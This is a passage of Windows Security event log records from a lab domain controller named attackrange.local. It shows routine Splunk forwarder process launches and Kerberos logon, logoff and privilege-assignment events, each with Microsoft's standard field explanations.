Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:27:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257363
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1010
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:27:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257375
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4EE32E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:27:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257374
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4EE43C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:27:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257373
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4EE484

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:27:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257372
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4EE4F5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		50862

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:27:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257371
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4EE4F5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:27:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257370
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4EE484
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		50861

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:27:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257369
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4EE484

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:27:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257368
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4EE43C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:27:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257367
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4EE43C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:27:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257366
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4EE32E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		50860

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:27:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257365
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4EE32E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:27:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257364
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7ac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:27:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257377
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe4c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:27:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257376
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1314
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:27:23 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257378
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4EE4F5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:27:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257381
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4F12AF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:27:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257380
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4F12AF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		50872

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:27:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257379
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4F12AF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:28:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257382
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2d8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:28:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257383
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x638
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:28:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257384
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:28:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257385
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x50c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:28:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257386
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:28:13 AM
LogName=Security
